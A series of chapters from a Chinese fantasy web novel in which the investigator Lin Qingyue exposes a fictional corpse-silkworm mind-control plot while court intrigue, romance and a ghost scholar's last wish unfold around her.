唯独红瑶心理承受能力最强,并无太大反应,转眸盯着不远处的冯英:
“所以,是有人故意盗窃的尸体,又利用冰窖的寒冷环境,在饲养飞天尸蚕?可饲养这种东西目的何在?”
“目的极其阴险。”林倾月脸色异常沉冷。
飞天尸蚕乃是低等妖类,实力微薄,繁殖亦十分艰难。
可它们成年后吐出的茧,却能炼制成一种特殊的药粉,叫蛊心粉。
蛊心粉可蛊惑人的心智,令人渐渐丧失思考能力,最终变成傀儡人。
三千年前,修仙那些别有用心的修仙者们,为了获取信仰和香火之力,伪装成神明。
为此,他们精心培养了一批奴仆作为人间代理人,用虚妄的功绩洗脑单纯的信徒。
为了让这些爪牙更得力,伪神们不仅传授功法,还将修仙界雪域高山的飞天尸蚕引入凡间。
曾有奴仆靠着这物种大肆作恶,批量制造傀儡。权势最鼎盛之时,还建立了高耸的神庙塔。连一国之君,都要跪着参拜。
眼看乱象滔天,灼华仙君恰带徒弟途经此地。
他一眼看穿这场阴谋,出手荡平了所有飞天尸蚕,才遏制住蔓延的邪祟。
直到事后追查,发现幕后主使者居然和修仙界某个宗门的长老有关系。
而灼华心知情况不对,并未告诉给徒弟。而是回到修仙界后,自己秘密测查。
最终,他虽查清了一切,却也因为动摇了整个修仙界的利益,反而被那些道貌岸然的修仙者们诬告,并处以火刑,灰飞烟灭。
千年前的过往,虽已成云烟散去。
可当年,师父好不容易铲除的毒瘤,甚至为此引来杀身之祸。
林倾月又怎么可能允许,这些祸害之物重新临世?
她眼底的杀气,一晃而过,面上依然是波澜不惊。
讲述关于飞天尸蚕的时候,也只是三言两语地交代了下。着重强调了飞天尸蚕的危害,而没有提起千年前的过往。
“冯英!”
林倾月抬手虚虚一抓——
冯英只觉被一股无形之力猛地吸住,一阵天旋地转之后,他已滚到林倾月的脚下,塞在嘴里封口的东西掉了出来。
他大惊失色:“你你,你要干什么?”
林倾月指着飞天尸蚕问:“这东西,是你饲养的吗?”
冯英刚才也听了一耳朵,知道这是吃腐尸的东西,一个劲地摇头:“不是,老夫怎么可能养这种恶心的玩意儿?老夫不知道,老夫什么都不知道!”
这章没有结束,请点击下一页继续阅读!谢守正道:“失踪的尸体在你的冰窖里,尸体里就养了这种虫子,你说你什么都不知道,谁信?”
红瑶补充道:“哦对了,听说来天香楼吃饭的都是达官显贵、世家子弟。那炼成的蛊心粉该不会是给那些客人吃的吧?”
此话一出,刚才还和冯英站在一条阵线上的世家子弟们都慌了神。
他们昨天还都在天香楼吃过饭、喝过酒啊!
有人当场就扣嗓子眼催吐,可惜隔夜饭吐不出。
冯英吓都瘫坐在地上,颤颤巍巍地说:“不不,真不是老夫……老夫……”
然后两眼一翻,吓晕了。
谢守正皱了皱眉:“这么胆小?也不像是能干得出这种事儿的人。”
林倾月冷声道:"就算不是他做的,也和他手下的人脱不了关系!"
她的目光冷冷的落在了掌柜的身上:“从一开始,你就百般阻挠我们进入冰窖。说,谁让你做的?”
那掌柜,扑通一声跪在地上还想辩解,谢守正一鞭子甩了过去:“说!”
掌柜知道自己已无法狡辩,只好据实交代:“都是颜夫人让我这样做的……我,我不知道会这样……”
“颜夫人?”林倾月冷笑一声,慢慢走到冯英身旁。
冯英还在昏迷中,不过不要紧。林倾月一脚踩在他的手臂上,“咔嚓”的骨裂声伴着冯英撕心裂肺的哀嚎,格外的惨烈。
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第176章 暧昧
旁边的世家公子们,何曾见过这样残忍的手段?
个个吓得浑身哆嗦,再不敢叫嚣着要上奏本告状。
林倾月冷声道:“醒了吗?若是还没清醒,本王可以再废你一只脚!”
此刻,冯英再看林倾月那张脸,由于见了活阎王一般。
“饶,饶命!”
“我要知道颜秋儿的来历。胆敢有一句不实,本王让你知道什么叫求生不得求死不能!”说话间,脚尖用力一碾。
冯英痛得抽一口冷气,眼看林倾月又要踩第二脚。
冯英赶忙大喊:“我说我说!别踩了,求求你别再踩了!”
玄镜司的司卫们,都被林倾月此刻的狠厉模样给惊到了:
“林副使怎么像变了个人?嘶,骨头踩碎了!”
“还是右手呢,估计这位祭酒大人以后都拿不了笔咯。”
“我倒是觉得挺爽。呸,活该!”
在林倾月的暴力压迫之下,冯英把颜秋儿的一切据实相告。
颜秋儿是冯英一年前娶回的妾室。
她原本是孤女,卖父葬身之际恰好遇到了外出的冯英,将其娶回家里做了妾室。
因为年轻貌美,颜秋儿一入府很受冯英宠爱,甚至为了她,没有续娶正妻。
因此,颜秋儿虽是妾室,在冯家却有着当家主母般的地位。
天香楼的掌柜,也是颜秋儿一手提拔的人。
大约一个月前,颜秋儿陆续往天香楼的冰窖里送来尸骸。
掌柜虽然被吓了一跳,但对于主子的命令只能言听计从,帮着遮掩。
“我以为就是藏几具尸体,并不知道饲养了什么虫子。我就是个下人,拿人钱财替人办事,什么都不知道啊!”
事关重大,谢守正下令将天香楼所有人等,包括冯英在内全部收押玄镜司,等待调查。
为防止颜秋儿逃走,林倾月又马不停蹄地带人去了冯家,用亲王的身份直闯入内,捉拿罪犯。
可惜还是晚来了一步,颜秋儿已不知所踪。
倒是在她房间的火盆里,发现了没有燃尽的半页书信。
谢守正一眼就看出,那是丰国的文字。
……
京城西郊大营。
正在接受太子的检阅,顺便给丰国皇子看看齐国军士的风姿。
虽说如今中原王朝处于和平时期,不再随意开战。
但表面的和谐不代表永远。必要的时候,齐国也需要展示一下自己的兵力给对方以威慑。
此刻东方起一改往常儒雅的装扮,换上了一身戎装,身姿挺拔、英气逼人。
他站在高高的检阅台上,待到底下的演练结束时候,朗声道:“诸位将士,辛苦矣!”
三军手举刀戟,齐声高呼:“守我疆土,死亦无悔;护我百姓,百战不殆!”
凌真皇子由衷赞叹:“果然是虎狼之师,不错,不错……”
心里却在暗暗计较:若是齐国军队和丰国军队对上,不知胜负如何?
齐、丰两国虽然已经维系了多年的和平,但一切表面的风平浪静都是为掩饰暗涛汹涌。
只有当国力足够强盛的时候,“和平”才不是一纸空谈。
东方起当然也明白这个道理,今日安排的演练,既要表现出齐国军队的威武之气,又不能将自己这方的底细和盘托出。
他和凌真说话的时,既有暗中较量,又要显出宾主之友谊。
就连吃饭时,也是各种话锋交错,心思都在别处,根本品尝不出食物的美味。
东方起不由得想起了在林倾月家吃过的几顿饭,明明澜园的厨师还是他给安排的,可不知道为什么,那几顿饭吃起来就是特别轻松美味。
又或许无关饭菜,而是和谁一起吃?
聊完军事,凌真皇子又话锋一转,道:“对了,太子殿下。我在你们齐国一路走来,除了佛、道两教,再没见到他教派。”
东方起道:“我们齐国不主张百姓过于崇拜神明,除了佛、道历史悠久,流传至今之外,并不允许民间私自开设其他教派。”
凌真又问:“殿下可听过归元教?”
东方起摇头:“未曾。”
凌真道:“归元教从西域鬼方国传来,教内只供奉一位‘归元大神’。据说那鬼方国本是西域26国中最为弱小的一个国家,自从供奉了归元大神后,国力日渐增强。如今已接连吞并了西域七国,甚至还有侵犯中原的意图。”
东方起闻言颇为诧异:“此话当真?”
凌真点头:“自然为真!我们丰国和西域接壤,前阵子才发现丰国民间已有归元门的门人来前来传教,甚至连分部都开出来了。”
“我们和鬼方国交好多年,明面上不好动手,只能暗中肃清。所以此番将消息带到,也希望太子殿下引起重视。中原三国,互为依靠,理当同气连枝。”
东方起道:“合该如此。今日之后,本宫也会派人彻查民间,避免被外族教派入侵。”
一顿饭吃完,东方起和凌真一起驾马出西郊大营,回到了京城。
这时,凌真对东方起道:“前方不远就是鸿胪寺了,太子殿下不必再送。”
东方起拱手作揖:“大皇子慢走,明日本宫再去鸿胪寺会见殿下。”
等林倾月急匆匆地找到东方起的时候,急忙跳下马。也顾不得大庭广众,男女授受不亲,一把将他拽下马,又执着他的手腕仔细探查身体情况。
东方起已有好几日没有见到林倾月了,一直想找机会和她再聊聊。
没想到她却主动找来,还一上来就动手动脚。
东方起有些脸红:“你这是在干什么?”
林倾月暗暗松了口气:“还好,你身体无恙。”
说着,手指正要松开,却又被他反手抓住:“话说清楚!大庭广众之下,你此举何意?”
也是直到这时,林倾月才意识到自己和东方起此刻的站得很近,几乎就要贴在一起,而自己的手也被他紧紧地握着,甩了一下,居然都没甩。
从前温柔如玉的男子,此刻却一身戎装英气逼人,说话时呼出的温柔气息萦绕在她的耳畔,带着几分暧昧有危险的气息。
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第177章 我何时非礼你了?
长街上人来人往,探究的目光,议论的声音不绝于耳。
还有人认出了林倾月的身份,大声地喊着:“是林副使,我们齐国第一位女王爷!王爷果然与众不同,当街抢男人!”
可他却无视一切,灼热的目光定定地看着面前的女子。
林倾月不由得心跳加速,心中暗暗有些后悔:不该如此草率,叫他误会了。
围观的路人越来越多,还有人认出了林倾月的身份,大声地喊着:“是林副使,我们齐国第一位女王爷!王爷果然与众不同,当街抢男人!”
林倾月:“……”
“找个地方说话!”
她反手拽住他的胳膊,不由分说,直接将人拉到最近的一处茶馆,又蹬蹬地上了二楼包厢。
关好门转过身时,就看到他依靠在窗口,不知道想到了什么,眼角眉梢都是笑意。
林倾月走过去,敲了敲他玄色的头盔:“笑什么?”
东方起笑着问:“你说我们这样,像不像私奔的情侣?”
林倾月:“……”
“私奔你个头!”她一巴掌拍在他的脑门上,头盔都给打歪了。
东方起干脆摘掉了头盔,又替林倾月拉开椅子:“有什么事,坐下说。”
刚才他被情绪蒙蔽,说了些不恰当的话。
可此刻冷静下来,自然就能想到林倾月肯定是无事不登三宝殿。
林倾月奔波了一天,也是有些疲累,坐下将今日天香楼发现的情况,以及颜秋儿可能是丰国人的事情仔细地说了一遍。
东方起道:“所以,你刚才那么急切地找我,甚至不惜在大庭广众之下非礼,就是为了确定我安危?”
林倾月拍桌而起:“什么叫非礼?我何时非礼你了?我那是怕你不知不觉中被人种了飞天尸蚕,所以做下检查。怎么就成了非礼?”
看着她气急败坏的样子,东方起不觉莞尔:“玩笑而已,莫要生气。要不然,你再检查检查其他地方?”
他说着还把脑袋伸过来:“要不要查查这里?说不定这里也出了问题?”
林倾月一个栗子敲了过去:“别闹!”
东方起道:“你放心吧,虽然我之前并不知晓那些事情,但外国使者接触,向来十分小心。入口的食物都是由我们这边提供,且在吃之前还有专门试毒,保证安全。”
“不管怎么样,你如此关心我,我很开心。”
林倾月刚才确实有些担心,行为举止因此有失妥帖。
此刻确定东方起无恙,她冷嗤一声:“算不得什么关心,只不过你这条命是我救的,要是随随便便丢了,那我之前的辛苦岂不是白费?”
东方起望着她笑:“说得有理。那以后,我的小命还请你多多关照。”
林倾月斜了他一眼:“不要嬉皮笑脸,我们在说正事。”
于是,东方起敛正了神色,开始谈论正事:“想不到,世间居然还有飞天尸蚕这种物种?所以,你怀疑凌真有问题?”
林倾月点头:“事关重大,必须小心为上。你作为接待官,和丰国人接触最多,切记最近不要同食同饮。冰窖里的尸蚕虽然已经被清除,但不能保证之前没有炼制成的蛊心粉。”
东方起道:“既然冰窖里的都是子虫。那也说明,还有头虫?”
林倾月解释道:“头虫也是母虫,主要目的是繁殖。子虫只吃腐尸,但头虫却恰好相反,喜欢活吃。”
“被种了母尸蚕的人,有时候甚至都不知道自己已成为食物。”
“母虫也爱吃内脏。它在啃食的时候会分泌出一种毒液,麻痹痛感。以身养虫者,会一天天变得虚弱,直到最后被活活吃空了,也不知道自己是为什么而死。”
东方起听得一阵头皮发麻,问道:“那若是种了蛊心粉之毒,可有解药?”
林倾月摇头:“有倒是有,不过中毒一个时辰之内才有法能接,否则时间久了,中毒之人成了傀儡人,回天乏术。”
太恶心了!
东方起一阵后怕:“幸好你当时在场,及时把那些尸蚕给清楚了。否则,任其发展后果不堪设想。”
他顿了顿,又道:“你不是怀疑凌真吗?今日已晚,冒昧登门未免引人怀疑。原本我和他约好明日再会。到时,你和我一同去鸿胪寺。我将他身边的人支开,你用溯梦之术,可否探查出他是否与此事有关?”
林倾月道:“可以。”
傍晚。
华灯初上,京城主街人来人往,热闹非凡。
凌雪公主换了一身便装,依然俏丽可人。
东方宴递来一个可爱的兔子灯:“阿雪妹妹,这灯笼甚是可爱,送你。”
凌雪公主兴致缺缺地接过兔子灯,心里不禁觉得遗憾——可惜不是起哥哥陪我出游。
听说今晚京城有灯会,原想让东方去带她去看灯,东方起以国事繁忙为由推脱了。
恰好傍晚的时候,东方宴到了他们下榻的鸿胪寺会见凌真皇子,听说凌雪想去看灯会,便主动邀约相陪。
凌雪心情不好,原不想出来。
凌真语气严肃的对她说:“你该知道在我们丰国,无论多么受宠的公主,长大后都只能用作联姻。”
“齐国的太子已经明确拒绝你,你要么再另选一个联姻的对象,要么将来被父皇指定对象联姻。总之我们的婚姻都由不得自己做主。”
凌雪虽然是个娇纵跋扈的公主,却也知道自己的婚事,从来都是政治的筹码。
也是因为如此她才想嫁给东方起。
他是齐国的太子,也是齐国皇帝唯一的儿子。不论身份还是外貌、年纪都是各国皇室的翘楚。
可惜,东方起拒绝了。
“阿雪妹妹,你怎么不说话?”东方宴满脸担忧,“是不是夜晚的风大,冷了?”
他说着,解下了身上的宝蓝色云锦斗篷,转手笼在凌雪公主的身上。
“如今虽已转暖,但夜晚还是有些凉。你是千金之躯,不能受寒。”
高贵冷峻的王爷,此刻却温柔地替她整理身上的斗篷,说话的语气里满是宠溺。
凌雪抬眸,看到的就是他英气的脸庞、微笑的唇角。
作为齐国的王爷,东方宴的身份自然高贵,外表、年纪也很出色,说话行事谦和有礼。
比起东方起来确实逊色一些,但和西域几个国家的皇室宗亲比,又好上许多。
如果必须要联姻,那么东方宴似乎也是个不错的选择。
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第178章 林倾月的秘密被发现了?
东方宴见凌雪公主果然被自己的打动,心中忍不住轻笑:
天真的丫头,果然好糊弄,随便关心几句就能被打动。虽然本王并不喜欢你,可本王喜欢你高贵的身份——足以与我匹配。
“那个首饰铺看起来不错,本公主要去逛逛,但不喜欢闲杂人等在旁。”
凌雪公主傲慢地提出自己的要求,想要试探东方宴对自己是否真的好。
“这好办。”
东方宴给身后的侍卫们使了个眼,于是手下的侍卫像土匪一样冲进旁边的“珍宝阁”,大声地道:
“晋王、公主殿下驾到,闲杂人等一律回避!”
珍宝阁里的客人哪敢得罪晋王,立刻实识相地退出。
不过转眼间,整个店铺除了掌柜之外,再无旁人。
凌雪公主展颜微笑,主动挽了东方宴的胳膊:“宴哥哥,你真好。”
她就喜欢这种被人捧在掌心里宠爱的感觉。
比起东方起的冷漠无情,东方宴倒是越来越让她满意了。
她在珍宝阁里选了一大堆东西,东方宴眼都不眨一下地替她买下。
一通买买买,凌雪公主的心情拨云见日,十分舒爽。
从珍宝阁里出来后,凌雪公主正想再去逛逛其他铺子,忽见一个人影,从人群中挤出,大喊一句:“夫君!”
东方宴循声看去,就见胆大包天出现在眼前的是一个蓬头垢面,腹部隆起的女子。
他冷声吩咐:“冲撞本王者该死,拖下去打死!”
那女子冲着要对她动手的侍卫大喊:“我乃晋王庶妃,谁敢对我不敬?”
说着她又急急忙忙地撩开遮挡的乱发,对东方宴道:“王爷是我啊!我是林如珍,你深爱的珍儿啊!你看,臣妾已经怀了你的孩子,这可是长子啊!”
东方宴认清了来人,简直怒不可遏:原来竟是她,那个睡了他就跑的贱人!
这两个月来,他几乎把京城都翻遍了,也没能找到她。
万万没想到,她居然这个时候跑了出来,又不知道想要耍什么手段。
想到自己刚刚才博得凌雪公主的好感,绝对不能让这贱人给破坏了。
于是他压下心头想要杀人冲动,道:“本王并不认识你,休要胡言乱语。来人,此女冒充贵族,送去府衙问罪!”
“等等!”凌雪公主走近了几步,上上下下打量着林如珍。
东方宴急忙道:“阿雪妹妹这人别有用心,你不要靠近她,更不要听她胡言乱语。本王根本就不认识她,她不知是受了何人指使,竟像疯狗一样胡乱攀咬!”
凌雪却不理会东方宴,问林如珍:“说话要证据,你说你是晋王庶妃,可有证据?”
林如珍道:“我家王爷的屁股上有一个痦子,若非有过肌肤之亲不会知晓。”
这一番动静本就引来不少围观者,此话一出更是引来无数议论:
“看来真是王爷家的妃子啊,要不然不可能知道。”
“原来王爷也长痦子,看来和普通人也没什么区别嘛!”
“可是王爷的女眷怎么会弄得那么狼狈?我刚才还以为是个女乞丐呢。而且看那位王爷的样子,根本不想认她。”
“长得还挺漂亮,为什么不认呢?难道是红杏出墙,给王爷戴了绿帽子?”
眼看吃瓜百姓越来越多,议论的话也越来越难听。东方宴递了眼色过去,手下侍卫立刻将周围围观的群众全部驱散。
东方宴再也沉不住气一巴掌扇在林如珍的脸上:“贱人,安敢如此羞辱本王,找死!”
凌雪嗤笑一声:“看来是真的。晋王殿下,真是多情之人啊。”
说完她转身离去,刚才的那些好感也荡然无存。
“阿雪妹妹!”东方宴喊了一声,没能把人喊回来,就知道今晚所有的努力全部白费。
林如珍从地上爬起来,可怜巴巴地拽着他的袖子:“王爷,你听臣妾说……”
东方宴从未如此恨过一个女子,他一把掐住林如珍的脖子。
那咬牙切齿的声音,憎恨到了骨子里:“林如珍,你居然还敢回来?你知不知道,本王做梦都想掐死你!”
“王爷,臣妾怀……怀了你的……”
“就算你怀了本王的孩子又如何?本王不认就是野种,和你一样该死!”
东方宴的手指一点点用劲,捏小鸡一样的要把她捏死。
“臣妾知道……林倾月的……秘密!她……她……”
听到林倾月的名字,东方宴的手掌稍稍松开了一些:“她有什么秘密?”
“放开……妾……告诉你。”
东方宴将她甩在地上,冷冷地道:“说。若再敢戏弄本王,本王将你凌迟!”
林如珍趴在地上大口大口地喘息了一阵子,才慢慢恢复。
她的声音还是有些沙哑,可眼睛却晶亮晶亮的——赌赢了,她就知道只要事关林倾月,东方宴就一会感兴趣!
“林如珍,本王的耐心是有限的。”东方宴根本没有什么耐心多等,可事关林倾月,他又忍不住好奇。
林如珍慢慢从地上爬起来,虽然外表仍然狼狈,可脸上的神情又恢复了以往茶里茶气的模样。
“王爷,你难道从来没有怀疑过林倾月的身份吗?”
“你这话什么意思?难不成你今日出现,要告诉本王,你其实才是林府的真千金,而林倾月是冒牌货?”
“没错,她就是冒牌货!”
东方宴冷笑:“你要说的就是这些?”
即便林倾月的身世有问题,但现在她已经是朝澜亲王,得了太子的青睐,是不是林家的千金都已经不重要了。
林如珍道:“可若她不是人,是个披着人皮的恶鬼呢?恶鬼能做齐国的王爷吗?”
东方宴噗嗤一笑:“本王还以为你真能知道什么。没想到居然编造出这样可笑的谎话!你难道不知道,林倾月是玄镜司的人?”
“玄镜司虽然是一帮乌合之众,但确实有些本事。不可能看不出林倾月的身份。”
“林如珍你就算要诬陷,也编造点可信度的!”
林如珍急切地道:“那只能说明她不是一般的恶鬼,而且本事大到,连玄镜司的人也发现不了!”
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第179章 书生的执念
“林倾月刚被接回王府的那一年,根本不是现在的样子。她原本是个脾气软弱,连大声说话都不敢的人。除了力气大一些,根本不会任何拳脚功夫。”
“她脑子又笨,我明里暗里欺负了她那么多次,她却拿我一点办法都没有。”
“可是后来,她嫁入王府之后却突然像变了一个人。不但脾气变得和以前不一样,还拥有了特殊的本事。一个人再怎么变,也不可能在短时间之内变得面目全非!”
“王爷,臣妾说的这些,你只要仔细想想也能发现其中破绽。”
“臣妾越想越觉得不对,所以两个月前离开王府后,就四处拜访能人异士。”
“终于,皇天不负苦心人。臣妾遇到了一位游历四方的大师。大师听了臣妾的话后,告诉臣妾,林倾月那种情况,应该就是恶鬼夺舍。”
“而且那恶鬼道行很深,能蛊惑人心,让身边的人都喜欢她。而真正的林倾月——我那可怜的姐姐,早就被她害死了!”
东方宴起初还是一副完全不相信的模样,可是听着听着,他的眼神也变。
不得不承认,林如珍说得有些道理。
如果林倾月一开始就身怀异能,为什么会甘心在林家遭受那么多的委屈?
当初她在被林如珍冒领功劳的时候,又为什么不做任何辩解呢?
之前,东方宴对林倾月心怀愧疚,又受感情的蒙蔽,所以没有深思这些问题。
此刻细细想来,确实疑点重重。
若如今的林倾月真是被恶鬼侵占了身体,杀害了原主,又借着晋王妃的身份才有机会接近太子,获封亲王。
那么下一步呢?
下一步是不是就该嫁给太子,当太子妃,而后母仪天下?
野种当真很大,难怪当初看不上晋王妃的身份,执意和离。
但是很快,东方宴有反应过来:“就算其中真有问题,本王也不能单凭你一面之词!本王可不会忘记先前被你骗得有多惨!”
尤其是林如珍居然还胆大妄为的爬了他的床,恶心的他连赵安都动手杀了。
“臣妾既然有幸遇到那位大师,自然有办法让恶鬼现出原型,证明臣妾所言为真。”
“什么办法?”
林如珍摸了摸自己的肚子,用沙哑嗓子撒娇道:“王爷,臣妾怀的确确实实是您的亲骨肉啊。您可以恨我,但无论如何要给他一个名分,否则……”
她嫣然一笑:“否则,臣妾就……”
她没有继续说下去,但东方宴已经明白过来了:“你这是在威胁本王?”
林如珍叹了口气:“臣妾只是想给自己和肚子里的孩子求一个生路。”
“好,本王答应你。”他皮笑肉不笑地道,“你先跟本王回去,只要证明你说的都是真的,就算你戴罪立功。本王会恢复你庶妃的身份,并且善待你和孩子。”
“多谢王爷!”林如珍喜极而泣,抚摸着自己的肚子喃喃自语,“乖孩儿,娘就知道你父王不会不要我们的。”
东方宴还在笑,只是眼底的神色越来越冷。
他想要求证林倾月的身份,才暂时答应了一切。
可不管最后结果如何,他都不会允许林如珍这个贱人苟活于世,更不会让象征着耻辱的孩子出现在这个世界上!
……
夜晚,长青山。
谢守正已经蹲在王书生的坟前,劝了半天:
“都说好了,等官帮你找回尸身,你就好好去投胎。怎么现在又哭哭啼啼死活不肯走了?当鬼也不能说话不算数啊!”
一提“尸身”二字,王书生哭得更凶了:“可你就找回了一颗脑袋,其他的都……都没了!呜呜……我好惨啊,好惨……”
谢守正无奈地道:“白天的时候你藏在幽冥伞里,大致也看到了当时的情况。冰窖里突然发生了爆炸,连本官都差点交代在里头。事后能帮你刨出来一颗脑袋,已经不容易了。做鬼呢要懂得知足!”
“其他几具尸首连个骨头渣都找不出来了,哎惨啊……回头还得给苦主家属一个交代!本官真是忙得很,没空跟你掰扯太多,放下执念上路去吧!”
“呜呜呜……我也想走啊,我也不想给大人添麻烦。可是……可是我走不了!”
走不了就还有执念未了。
“说吧,你到底还有什么执念?”
王书生擦了擦眼泪:“我读了一辈子书,就想高中一次。今年本应该是我第四次参加科举,我总有一种感觉,这次一定能够高中!所以,我想……我想最后再考一次!”
谢守正跺着脚:“你都死了成鬼咯,高中了还能怎么办?朝廷难道还能录用你一个死鬼当官?那岂不是乱套了!”
王书生抱着自己仅剩的一颗血呼啦擦的脑袋,可怜巴巴的求情:
“我知道当不成官了,我就想最后再考一次,想知道到底能不能中举。哪怕中举后不能当官,也算是给我自己寒窗苦读多年一个交代。”
最后谢守正实在没辙了,又把那鬼魂带回玄镜司,免得他走又走不掉,留下来再吓唬到别人徒增麻烦。
夜色已深,玄镜司里的人都走得差不多了,就剩红瑶还在。
“谢大人,你不是超度鬼魂去了,怎么又回来了?”
“别提了,折腾了一晚上都没送走。死活要留下来参加科举,哎我真是服了!考中上岸就那么重要?”
“科举?那怎么可能呢?”
“对呀,他一个鬼魂连阳间的笔都握不住,拿什么去答题考试?可执念消不了,就没办法送走。本官也愁得不行。飞天尸蚕的案子还没结,本官有一大堆的事要忙,这小鬼又不能不管。真是头疼啊头疼!”
“所以他只是想参加一下科考,证明一下自己过去几十年寒窗苦读的价值?”
红瑶灵眸一闪,嫣然一笑,“我有办法了却他的执念!谢大人你在这里等我一下,我去去就回。”
不多久,红瑶抱着她的瑶琴回来了。
谢守正这才想起来,红瑶最大的技能是魅惑之术。
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第180章 情报官的作用
当初红瑶为了提高自己的修为,抓了上百人圈养在一处大宅子,每天给他们弹琴,让他们在幻境里,实现现实中所无法实现的梦想。
其中就有一个读书人,在幻境中变成了状元郎。
后来幻想破灭,被救出来的时候还恋恋不舍。
此刻,当琴音悠扬响起的时候,谢守正放出了王书生的魂魄。
王书生起初还有些茫然,但是很快,他发现自己身处在贡院的号舍里,周围很安静,只听到沙沙的书写声音。
面色威严的监考官,从面前走过,催促道:“时间有限,抓紧做题!”
这里是……
他忽然反应过来,赶忙提笔答卷。
苦读了快三十年,现在终于有机会证明自己的实力,可得好好拼一把!
贡院这场会试,一共要考三场,每场考三天,加起来就是九天。
这对考生来说,考的可不光是平时积累的学问,更是对体力的一大考验。身体素质差点的,考到一半就撑不住晕倒的,也大有人在。
几天的时间,在红瑶制造的幻象里不过是眨眼而已。
眨眼间就放榜了,王书生站在玄镜司的大厅里,高兴地手舞足蹈:
“我中状元了!我高中状元了!多谢差爷报喜,多谢!”
他高兴之余,还往旁边的谢守正手里塞了赏钱。
书案后,红瑶素手抚琴,悠悠叹息:“名利富贵,在生死面前,都是一场烟云。可惜呀,多少人到死都堪不破。既然堪不破,现在这场虚幻之境,做一场美梦吧。”
琴声一转,越发激昂。
王书生虚虚坐着,昂首挺胸,春风得意。好像已经到了驾马游街的环节了。
谢守正从前在皇宫里也认识不少乐师,经常听琴。寻常的曲子都不能打动他的心,可今天不知道怎么回事,听着听着居然入迷了,就连奔波一天的疲倦,都消失无踪了。
而眼前的女子,红衣蹁跹,神情淡淡。
一双素白的手,在琴弦上轻拢慢捻,仿佛带着某种魔力,不知不觉竟让他都看痴了。
直到一曲终了,王书生在新科状元的好梦里化解了执念,魂魄在阳间消失去往阴间。
谢守正这才回过神来,夸了一句:“弹得还怪好听的……”
红瑶微微一笑,正要感谢夸奖。
却听他忽然又补了一句:“不过后半段有个音节好像弹错了,看来你的琴艺还得继续练啊。”
红瑶笑容一撤,顿时就不高兴了:“你听错了吧,我怎么可能弹错?”
谢守正较真地道:“真的有错啊!本官以前在宫里天天听曲。宫廷乐师有一次心血来潮,还要教我琴艺,奈何本官手指头太粗总是拨错,也就没耐心继续学了。”
红瑶冷哼:“所以你不过就是个半吊子,还好意思来点评我琴艺?”
谢守正就不服气了:“我弹琴是不如你,但是听过的曲未必不如你多。要不你再把刚才的曲子弹一遍,我仔细听听到底有没有错。”
“不必。”红瑶冷着脸,把琴一抱就走了。
谢守正在后面喊着:“喂喂,不是探讨探讨琴艺吗?怎么说着说着就生气了?心胸狭窄可没有进步的空间啊!”
第二天一早,林倾月来到玄镜司的时候,就察觉出红瑶和谢守正两人之间的气场不对。
本来红瑶和大米几人说说笑笑,看到谢守正来了,立刻就闭嘴。
谢守正看了红瑶一眼,欲言又止,最后还止了。
林倾月悄声问红瑶:“你和谢大人之间怎么了?”
红瑶道:“没什么。”
她不愿意说,林倾月也不好多问。估计不知道什么地方闹矛盾,也许过两天就自己好了。
谢守正召开早会,把昨天的尸蚕案做了一下复盘,又把最近新出的案子分派下去。
最后,他又点了大米:“汇报一下最近京城里的动静。”
大米就掏出他的小册子逐一汇报:
“兵部侍郎准备为儿子办满月酒,可惜儿子是马夫的。”
“城南80岁的老富商纳了十八岁的小妾,结果洞房当晚马上风,死了。”
“李家的狗把王家的猫咬死了,两家男主人打了一架,一死一伤。”
“……”
整整念了十几页,都是些杂七杂八的事。
最后谢守正忍无可忍地道:“你身为玄镜司的情报官,做汇报的时候就不能筛选一下?照你这样念下去,本官是不是要买包瓜子,大家一边磕一边听你细细道来?”
大米嘿嘿笑着:“那敢情好!我喜欢原味的瓜子,讨厌五香味的。”
谢守正把脸一板:“听不懂好赖话吗,还想着吃?挑重点汇报!”
大米委屈地道:“属下觉得都挺重要的……”
林倾月道:“汇报下丰国皇子和公主昨天做的行踪。”
大米把情报册子一直翻到最后,开始念:
“凌丰皇子昨日在太子殿下的陪同下视察了西郊大营,回到鸿胪寺后,和手下人密谈了一晚上。期间,晋王登门拜访。晋王逗留了约一刻钟,和凌雪公主一同离开,去了东城主街……”
林倾月抿了口茶:东方宴屡屡向凌雪公主示好,是想当丰国的女婿?
“……两人从珍宝阁挽臂而出,甚是亲密。而后,林如珍挺孕肚现身,凌真公主负气离去。晋王大怒,正要杀人,林如珍与晋王耳语片刻,晋王消气,两人共乘一马而归。”
“你是说,林如珍回来了,还怀了身孕?而东方宴与她冰释前嫌了?”
林倾月一听就知其中有蹊跷。
以她对东方宴的了解来看,这人心胸狭窄,有仇必报。被林如珍那般羞辱之后,不可能不记仇。
除非……别有内情!
"大米,你的情报里,没有提及他们说了些什么吗?"
大米解释道:“这些情报,都是我那些老鼠兄弟们提供的。鼠类虽然聪明,又经过我的训练能充当情报眼线,但到底没有开启灵智,听不懂人类的语言。我也只能从他们的描述中,推测,并记录下当时的情况。”
谢守正也道:“确实如此。只有大米能和他们交流,再将他们描述记录在册形成情报。若非如此,以大米的智商,哪里能当得了情报官?”
大米有些生气:“谢大人我抗议,你这是在侮辱下属!”
谢守正没搭理他,于是抗议无效。
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第181章 林副使失踪
谢守正问:“林副使,你莫不是怀疑晋王和这案子有关吧?”
林倾月道:“不管东方宴和飞天尸蚕的案子有无关联,但他和林如珍凑到一起,一定不会有什么好事——大米,你继续说。”
大米点点头,继续汇报:“凌雪公主闷闷不乐回到鸿胪寺,后又被其兄叫去谈话,回房后继续闷闷不乐,砸了套瓷器,害得我的情报员不慎划伤前肢……”
由于情报员受伤,仓皇逃走,在后面的事情就没有再记载。
林倾月吩咐大米:“加派情报员重点盯梢。另外,加大盯梢范围。京城内所有的丰国人,都要重点关注。”
交代完这些后,其他的事情自有谢守正安排。
林倾月估摸了下时间差不多了,便准备去和东方体会合,直接去探查凌真皇子的底细,看看他是否有问题。
刚从玄镜司衙门出来,迎面就遇到了东方宴。
东方宴从马车里跳下来,道:“本王正要到里面找你,不想你就出来了。有空聊聊吗?本王特意为你准备了马车。”
“没空。”
“昨晚林如珍回来了,她和本王说了很多话。你难道不想知道她说了些什么?”
“她说了什么?”
一看她感兴趣,东方宴却卖起了关子:
“倾月,你我二人许久未能好好说话。今日阳光明媚,是个好日子。不如跟我回晋王府,好好叙旧?顺便见见你的好妹妹。”
林倾月瞥了他一眼,冷笑:“别给脸不要脸,我要想知道,不是必须从你的嘴里得到。不愿意说就滚!”
